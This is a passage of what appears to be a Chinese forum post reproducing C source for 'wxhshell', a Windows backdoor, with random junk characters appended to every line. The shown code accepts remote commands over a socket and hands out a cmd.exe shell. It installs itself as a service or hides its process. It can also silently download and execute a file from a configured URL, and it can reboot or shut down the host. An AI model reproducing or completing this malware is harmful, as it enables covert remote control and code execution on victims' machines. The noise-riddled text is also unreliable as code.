  else { ^(3k uF  
`Ea3z~<7M  
    switch(cmd[0]) { ?;Qk!t2U  
  :SGQ4@BV  
  // 帮助 O'(vs"eN  
  case '?': { &$f?XdZ7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4YC`dpO'  
    break; ?0X.Ith^.  
  } lNw?}H  
  // 安装 kzu=-@s  
  case 'i': { &2J|v#$F  
    if(Install()) 5[k35 c{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \;<Y/sg  
    else DSp@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > %,tyJ~  
    break; W#Z]mt B  
    } tK*f8X+q  
  // 卸载 ^=j$~*(LmX  
  case 'r': { lVHJ}(<'p  
    if(Uninstall()) WP9=@X Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :C5N(x  
    else 7_,X9^z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); crQuoOl7  
    break; eNX-2S  
    } hv6>3gbr  
  // 显示 wxhshell 所在路径 =v-D}eJQ=  
  case 'p': { q6dq@   
    char svExeFile[MAX_PATH]; S6 *dp68  
    strcpy(svExeFile,"\n\r"); .67W\p  
      strcat(svExeFile,ExeFile); "]<Ut{Xb  
        send(wsh,svExeFile,strlen(svExeFile),0); .xx9tP}Xy  
    break; @B6[RZR  
    } [sBD|P;M  
  // 重启 _=b[b]Ec$s  
  case 'b': { w# ['{GL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y9N:%[ :>W  
    if(Boot(REBOOT)) (;N_lF0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~JJv 2  
    else { *zcH3a,9"x  
    closesocket(wsh); 9TLP(  
    ExitThread(0); l; 4F,iI  
    } $si2H8  
    break; QXCI+Fcg  
    } SL*(ZEn"  
  // 关机 OA;L^d  
  case 'd': { P<1zXs.H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F`l1I=;  
    if(Boot(SHUTDOWN)) Nf1l{N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {sLh=iK  
    else { uB BE!w_  
    closesocket(wsh); ZyG528O22  
    ExitThread(0); e=U7w7(s9  
    } Yi:+,-Fso  
    break; qXW 5_iX  
    } P06K0Fxf  
  // 获取shell yI!K quMC  
  case 's': { fXN;N&I  
    CmdShell(wsh); Q_Rr5/  
    closesocket(wsh); OoE@30+  
    ExitThread(0); eL.S="  
    break; &AzA0r&,  
  } d 9|u~3  
  // 退出 PF~&!~S>W  
  case 'x': { 4D8q Gti  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d;z`xy(C  
    CloseIt(wsh); 8mi IlB  
    break; +q1@,LxN  
    } |<E%hf  
  // 离开 TUT>*  
  case 'q': { E?V:dr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^>>Naid  
    closesocket(wsh); ?Gb 18m  
    WSACleanup(); <H.Ml>q:r  
    exit(1); Z1&8 U=pax  
    break; \6o ~ i  
        } M:A7=rO~  
  } 8p5u1 ;2  
  } <B)lV'!Bd  
I$YF55uB  
  // 提示信息 n%Fa;!S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \(Iy>L.  
} Ut<_D8Tzx  
  } 3KGDS9I  
_+GCd8d  
  return; d(tq;2-  
} W];4P=/  
VGSe<6Hh  
// shell模块句柄 G2mv6xK'  
int CmdShell(SOCKET sock) D,2,4h!ka  
{ "|hmiMdGB  
STARTUPINFO si; 2`; 0y M  
ZeroMemory(&si,sizeof(si)); Y!KGJ^.mF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1\1o65en  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mesR)fTI  
PROCESS_INFORMATION ProcessInfo; )Aj~ xA  
char cmdline[]="cmd"; %P?W^mI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `H\^#Zu  
  return 0; rHMsA|xz6  
} : "UBeo<Z  
Cu}Rq!9i  
// 自身启动模式 R{.ku!w  
int StartFromService(void) r8mE   
{ [hs{{II  
typedef struct rVkHo*Q  
{ UXd\Q''  
  DWORD ExitStatus; pJ{sBp_$  
  DWORD PebBaseAddress; .; :[sv)  
  DWORD AffinityMask; )%*uMuF  
  DWORD BasePriority; djk   
  ULONG UniqueProcessId; sYvO"|  
  ULONG InheritedFromUniqueProcessId; J=() A+  
}   PROCESS_BASIC_INFORMATION; uvT]MgT  
l?ofr*U&-x  
PROCNTQSIP NtQueryInformationProcess; DJeG  
b.$Gc!g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =!7yX ;|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {1FY HM^  
Zf|f $1-  
  HANDLE             hProcess; xD1w#FMlQs  
  PROCESS_BASIC_INFORMATION pbi; bY#>   
^NP" m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^Xh9:OBF  
  if(NULL == hInst ) return 0; TK'(\[E  
t&ngOF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E_FseR6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TN&1C8xr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *NDzU%X8  
^58'*13ZL  
  if (!NtQueryInformationProcess) return 0; .Emw;+>  
)5hS;u&b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @}#$<6|  
  if(!hProcess) return 0; m|'TPy  
D9JT)a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y>|7'M*+  
&}rh+z  
  CloseHandle(hProcess); r3#H]c  
VaH#~!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,rQznE1e  
if(hProcess==NULL) return 0; \ ddbqg?`  
uRJLSt9m  
HMODULE hMod; f ^z7K  
char procName[255]; (ZDRjBth[  
unsigned long cbNeeded; xZBmQ:s',S  
e%"L79Of6)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ceAK;v o  
lv,<[Hw1  
  CloseHandle(hProcess); < jfi"SJu  
2U i)'0  
if(strstr(procName,"services")) return 1; // 以服务启动 A2]N :=  
"#(]{MY  
  return 0; // 注册表启动 IS"UBJ6p  
} 'H:lR1(,  
H=EvT'g  
// 主模块 pkhZW8O  
int StartWxhshell(LPSTR lpCmdLine) K" Y,K  
{ #AE'arT<  
  SOCKET wsl; 9MVW~ V  
BOOL val=TRUE; X#IVjc:&L  
  int port=0; +\SbrB P  
  struct sockaddr_in door; t[%9z6t  
DqbN=[!X~n  
  if(wscfg.ws_autoins) Install(); [K,&s8N5  
R|Y)ow51  
port=atoi(lpCmdLine); Bx2E9/S3  
Q']:k}y  
if(port<=0) port=wscfg.ws_port; e%#9|/uP  
Bm1yBKjO  
  WSADATA data; 3Cq17A 9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5{VrzzOK}  
9_oIAn:<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o1 QK@@}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -_v[oqf$  
  door.sin_family = AF_INET; Ust>%~<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P6dIU/w  
  door.sin_port = htons(port); [p|-G*=00  
buq3t+0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '3aDvV0  
closesocket(wsl); -fn["R]  
return 1; ++BVn[1  
} ybcQ , e  
D:M0_4S  
  if(listen(wsl,2) == INVALID_SOCKET) { %.[t(F  
closesocket(wsl); 8g^OXZ   
return 1; c(i-~_  
} s9zdg"c'  
  Wxhshell(wsl); 0O|T\E8 e  
  WSACleanup(); e%o6s+"  
-(@dMY  
return 0; "EDn;l-Q  
p~En~?<  
} 3T%WfS+  
aa8WRf  
// 以NT服务方式启动 ^3F[^#"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0l!@bj  
{ 26&^n Uy  
DWORD   status = 0; AS'a'x>8>,  
  DWORD   specificError = 0xfffffff; 79z(n[^  
RV.*_FG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qJKD| =_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hT#[[md"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;q59Cr75  
  serviceStatus.dwWin32ExitCode     = 0; mM&H; W  
  serviceStatus.dwServiceSpecificExitCode = 0; 8S &`  
  serviceStatus.dwCheckPoint       = 0; [ wi "  
  serviceStatus.dwWaitHint       = 0; v_En9~e^n  
P] ouLjyq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zsc8Lw  
  if (hServiceStatusHandle==0) return;  \|L@  
5JBenTt  
status = GetLastError(); )W(?wv!,  
  if (status!=NO_ERROR) 1)X%n)2pr  
{ P BpjE}[Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `[2nxP>w`  
    serviceStatus.dwCheckPoint       = 0; 1.]#FJe  
    serviceStatus.dwWaitHint       = 0; R4%!W~K  
    serviceStatus.dwWin32ExitCode     = status; &1 {RuV&t  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4hr;k0sD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #swzZyM$  
    return; 3#j%F  
  } W -8<sv$b  
{;=I69 X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uL1e?  
  serviceStatus.dwCheckPoint       = 0; IF(W[J  
  serviceStatus.dwWaitHint       = 0; y}R{A6X)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ot`jjZ&  
} GTyS8`5E*  
:w_Zr5H]  
// 处理NT服务事件,比如:启动、停止 mpIRe@#Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %e+hM $Q  
{ ~6Vs>E4G  
switch(fdwControl) b`usRoD{+  
{ 50F6jj  
case SERVICE_CONTROL_STOP: C7[_#1Oz  
  serviceStatus.dwWin32ExitCode = 0; TwqyQ49  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1>[3(o3t  
  serviceStatus.dwCheckPoint   = 0; @{:E&K1f  
  serviceStatus.dwWaitHint     = 0; *1$rg?yGf  
  { ~ b!mKyrZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ola>] 0l  
  } :MV]OLRM  
  return; W7c(] tg.  
case SERVICE_CONTROL_PAUSE: hCD0Zel  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hHm &u^xY  
  break; +^iUY%pm  
case SERVICE_CONTROL_CONTINUE: By]XD~gcP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &jT>)MXPu  
  break; U@@#f;&  
case SERVICE_CONTROL_INTERROGATE: Nq/,41  
  break; NIY0f@1z-  
}; >2_BL5<S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MS)#S&  
} U}x2,`PI  
h \hQ  
// 标准应用程序主函数 5?&k? v@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rbHrG<+7zO  
{  Xai ,  
CS)&A4`8  
// 获取操作系统版本 /J aH  
OsIsNt=GetOsVer(); J^R))R=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x$Ko|:-  
$]<CC`  
  // 从命令行安装 ;cH|9m:Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); W/<]mm~95  
w}c1zpa  
  // 下载执行文件 sU^2I v\%  
if(wscfg.ws_downexe) { M`*B/Fh 2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KdHR.;*  
  WinExec(wscfg.ws_filenam,SW_HIDE); s4<[f%^  
} 9x0B9&  
( \{9W  
if(!OsIsNt) { dQVV0)z  
// 如果时win9x,隐藏进程并且设置为注册表启动 <*3{Twa1T  
HideProc(); ;nyV)+t+a  
StartWxhshell(lpCmdLine); d kHcG&)  
} 0?qXDO&~  
else 16_HO%v->  
  if(StartFromService()) @s}I_@  
  // 以服务方式启动 .h~M&d!  
  StartServiceCtrlDispatcher(DispatchTable); \K.i8f,  
else T^B&GgW  
  // 普通方式启动 p+ SFeUp  
  StartWxhshell(lpCmdLine); }{[H@uhjH  
FbO-K-  
return 0; (cAv :EKpo  
}
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只看该作者 1 发表于: 2006-10-10
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